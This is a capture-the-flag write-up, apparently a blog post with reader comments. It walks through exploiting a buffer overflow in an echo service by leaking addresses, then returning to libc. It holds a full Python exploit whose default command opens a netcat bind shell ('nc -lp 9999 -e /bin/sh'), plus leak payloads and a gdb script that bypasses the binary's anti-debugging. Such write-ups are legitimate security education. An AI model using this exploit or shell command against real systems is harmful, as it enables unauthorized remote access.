It was until the organizers stopped the game at about 8.30pm that they've fixed the bandwidth cap (and also increased users' privileges too?). Most of the time before discovering this service, I was trying to pull binaries from our own box, but scp could hardly got up to 32kb before stalling. The only solution was to gzip those files and serve it in /var/www/upload, and then use a download manager to pull in the archives (due to the disconnections). And then I was trying so hard to debug samba and dovecot service. Could not get them to work on my environment (Could someone clarify whether there was any custom holes in those services?). Although, the game setup was same for everyone, so it's still fair I guess.
Enough ranting, this service is running on port 43123 which provides an "echo" service with a buffer overflow vulnerability. The binary is protected with both full ASLR and NX stack.
A hex-rays dump shows us exactly this vulnerable function:
As you can see, the binary accepts 255 bytes of payload while the memory set for the buffer is only 120. Also the buffer is the first variable declared, leaving all other variables vulnerable, including the return address. While a jmp esp would have got the job done (which actually exists in the binary), NX bit made our lives a bit harder. But all is not lost, we still have the probability to execute our exploit through ROP if there is a way for us to determine the address of libc through the buffer overflow. The size of buffer to be echo'ed (n) was limited to 120 at first, and then is changed to 255 only if it is more than 255. We can try this:
Yup, the overwrite certainly triggered the server to print out 255 bytes which contains a dump of the stack from the server. Lets see if any of the info here is useful. Running the program in gdb allows us to examine the binary. But before that, we should note that the binary handles SIGSEGV and SIGINT in the main function:
I assumed this to ensure cleaner exit for this service, but it also acts as a simple anti-debugging feature that makes us a little bit harder to examine segmentation faults from gdb. Nevertheless, a gdb script could help effectively "disable" the segv handler:
So the offset from this leak is libc+243, which I assume to be a return address from a libc call.
Clearly we can exploit this service through info leak & return to libc. A bonus is that stack address is there too, which makes us to be able to determine exactly where our payload is located in the stack, so there is no need for us to chain ROP gadgets for capturing our buffer. Notice I have added "eggg" in my previous payload. This is to make our egg hunting easier. A simple search in the stack using gdb would do:
To get the offset for our payload, simply:
0xffffd740 - 0xffffd68c = 0xb4
From the leak, we have known that the libc address is __libc_start_main+243, so to get the correct offset for libc we should subtract the leak address with 243, and then the main offset. Objdump would give us the offsets:
So the _main function from libc is 0x193e0, and system is at 0x3f430. We can conclude that to get to system, a simple algorithm can be used: [leak]-243-[libc_main]+[system]. We could always used other functions from libc too, but its simpler to use system here since it only requires 1 argument. A warning though, this binary does not write any output to our socket after the exploit. To get output, we would have to get our socket fd, also we would need to chain up read+write etc. Simplest solution would be to execute a bind shell.
To wrap up, here comes an ugly-but-nice exploit in python.
int __cdecl redacted(int fd) { char s[120]; // [sp+1Ch] [bp-8Ch]@1 int v3; // [sp+94h] [bp-14h]@1 int i; // [sp+98h] [bp-10h]@5 size_t n; // [sp+9Ch] [bp-Ch]@1 n = 120; memset(s, 0, 0x78u); v3 = read(fd, s, 0xFFu); if ( v3 < 0 ) error("ERROR reading from socket"); if ( (signed int)n > 255 ) n = 255; printf("Echoing %d characters\n", n); for ( i = 0; i < (signed int)n; ++i ) { write(fd, &s[i], 1u); if ( v3 < 0 ) error("ERROR writing to socket"); } return 0; }
As you can see, the binary accepts 255 bytes of payload while the memory set for the buffer is only 120. Also the buffer is the first variable declared, leaving all other variables vulnerable, including the return address. While a jmp esp would have got the job done (which actually exists in the binary), NX bit made our lives a bit harder. But all is not lost, we still have the probability to execute our exploit through ROP if there is a way for us to determine the address of libc through the buffer overflow. The size of buffer to be echo'ed (n) was limited to 120 at first, and then is changed to 255 only if it is more than 255. We can try this:
python -c "print 'eggg'+'A'*140" | nc localhost 43123| hd 00000000 65 67 67 67 41 41 41 41 41 41 41 41 41 41 41 41 |egggAAAAAAAAAAAA| 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| * 00000070 41 41 41 41 41 41 41 41 91 00 00 00 7c 00 00 00 |AAAAAAAA....|...| 00000080 ff 00 00 00 41 41 41 41 41 41 41 41 41 41 41 41 |....AAAAAAAAAAAA| 00000090 0a 89 04 08 09 00 00 00 40 d7 ff ff 60 d7 ff ff |........@...`...| 000000a0 54 a0 04 08 04 00 00 00 f4 9f 04 08 01 00 00 00 |T...............| 000000b0 f9 84 04 08 02 00 8e 77 7f 00 00 01 00 00 00 00 |.......w........| 000000c0 00 00 00 00 02 00 a8 73 00 00 00 00 00 00 00 00 |.......s........| 000000d0 00 00 00 00 10 00 00 00 00 00 00 00 09 00 00 00 |................| 000000e0 73 a8 00 00 f0 89 04 08 00 00 00 00 00 00 00 00 |s...............| 000000f0 d3 44 e3 f7 01 00 00 00 14 d8 ff ff 1c d8 ff |.D.............| 000000ff
Yup, the overwrite certainly triggered the server to print out 255 bytes which contains a dump of the stack from the server. Lets see if any of the info here is useful. Running the program in gdb allows us to examine the binary. But before that, we should note that the binary handles SIGSEGV and SIGINT in the main function:
signal(2, (__sighandler_t)wrapUp_int); signal(11, (__sighandler_t)wrapUp_segv);
I assumed this to ensure cleaner exit for this service, but it also acts as a simple anti-debugging feature that makes us a little bit harder to examine segmentation faults from gdb. Nevertheless, a gdb script could help effectively "disable" the segv handler:
file redacted set follow-fork-mode child set detach-on-fork off b main run set {int}0x8048876 = 2 continueNow we can freely debug and happily catch segv if any. But not gonna do that now. Break on 0x804884d and get to this point:
(gdb) x/1x 0xf7e344d3 0xf7e344d3 <__libc_start_main+243>: 0xe8240489
So the offset from this leak is libc+243, which I assume to be a return address from a libc call.
Clearly we can exploit this service through info leak & return to libc. A bonus is that stack address is there too, which makes us to be able to determine exactly where our payload is located in the stack, so there is no need for us to chain ROP gadgets for capturing our buffer. Notice I have added "eggg" in my previous payload. This is to make our egg hunting easier. A simple search in the stack using gdb would do:
(gdb) find /w 0xffffd000, 0xffffdfff, 0x67676765 0xffffd68c 1 pattern found.
To get the offset for our payload, simply:
0xffffd740 - 0xffffd68c = 0xb4
From the leak, we have known that the libc address is __libc_start_main+243, so to get the correct offset for libc we should subtract the leak address with 243, and then the main offset. Objdump would give us the offsets:
root@kali:~# objdump -T /lib32/libc.so.6 | grep "_main\|system" 0011d7c0 g DF .text 00000049 GLIBC_2.0 svcerr_systemerr 0006c5a0 g DF .text 00000028 GLIBC_2.2 _IO_switch_to_main_wget_area 0003f430 g DF .text 0000008d GLIBC_PRIVATE __libc_system 0003f430 w DF .text 0000008d GLIBC_2.0 system 000193e0 g DF .text 000001c2 GLIBC_2.0 __libc_start_main
So the _main function from libc is 0x193e0, and system is at 0x3f430. We can conclude that to get to system, a simple algorithm can be used: [leak]-243-[libc_main]+[system]. We could always used other functions from libc too, but its simpler to use system here since it only requires 1 argument. A warning though, this binary does not write any output to our socket after the exploit. To get output, we would have to get our socket fd, also we would need to chain up read+write etc. Simplest solution would be to execute a bind shell.
To wrap up, here comes an ugly-but-nice exploit in python.
#!/usr/bin/python import sys import socket import select from struct import pack, unpack def get_leaks(): global serv s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((serv, 43123)) s.send("A"*144) str = s.recv(255, socket.MSG_WAITALL) stack = unpack("<I",str[152:156])[0]-0xB4 libc_main = unpack("<I",str[240:244])[0]-243 return (stack,libc_main) def exploit(cmd): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((serv, 43123)) ###SYSTEM buf = "%-144s%s" % (cmd, pack("<I", system)) buf += pack("<I", pop2ret) buf += pack("<I", stack) buf += "NULL" ###EXIT #overkill. but its nice to be nice :) buf += pack("<I",exit) buf += pack("<I",0xdeadbeef) buf += pack("<I",0) s.send(buf) ready = select.select([s],[],[],2) #2 seconds timeout if ready[0]: print "[!]Got reply : %s " % s.recv(1024) return False return True bind = False argv = sys.argv if len(argv) < 2: sys.exit("Usage: 43123.py target cmd") if len(argv) < 3: cmd = "%s" % "/bin/nc -lp 9999 -e /bin/sh;exit;" bind = True else: cmd = ' '.join(argv[2:]) if len(cmd) > 144: sys.exit("Sorry, more than 144 chars") serv = argv[1] libc_main_offset = 0x193e0 leaks = get_leaks() stack = leaks[0] libc = leaks[1]-libc_main_offset system = libc+0x3f430 exit = libc+0x32fb0 pop2ret = 0x080486c2 #mmap = libc+0xeb040 print "\n[+]libc = %x\n[+]stack = %x\n[+]system = %x\n[+]cmd = %s" % (libc, stack, system, cmd) print "[+]Sending sploit" stat = exploit(cmd) if (bind and stat): import subprocess print "[+]Incoming bindshell" subprocess.call("nc -v "+serv+" 9999", shell=True)
Screenshot. Hackers love screenshot.
After we're inside, to get the flag we could just do: dd if=/dev/kondom count=100 skip=33664 bs=1 2>/dev/null
Oh well, too late for that. My performance is just way too bad this time. Good practice anyway.
Thanks to scan associates for organizing this game. To UiTM for hosting this event. Grats to winners for winning. Hope to see you guys around. Until next time :)
Here's some cookie:
redacted
libc.so.6
Oh well, too late for that. My performance is just way too bad this time. Good practice anyway.
Thanks to scan associates for organizing this game. To UiTM for hosting this event. Grats to winners for winning. Hope to see you guys around. Until next time :)
Here's some cookie:
redacted
libc.so.6
Great write-up!
ReplyDeletethanks, ninja
Deletewooohoo!!! someone manage to solve chaah's madness!! congrats! awesome writeup! :D
ReplyDeleteThanks. Nice work on the forensics :)
Deleteawesome writeup, I wasted few hour on this binary, end by give up on this. :)
ReplyDeleteThanks. Sometimes knowing the details would definitely help :)
DeleteNice writeup :) you should try in HITB
ReplyDelete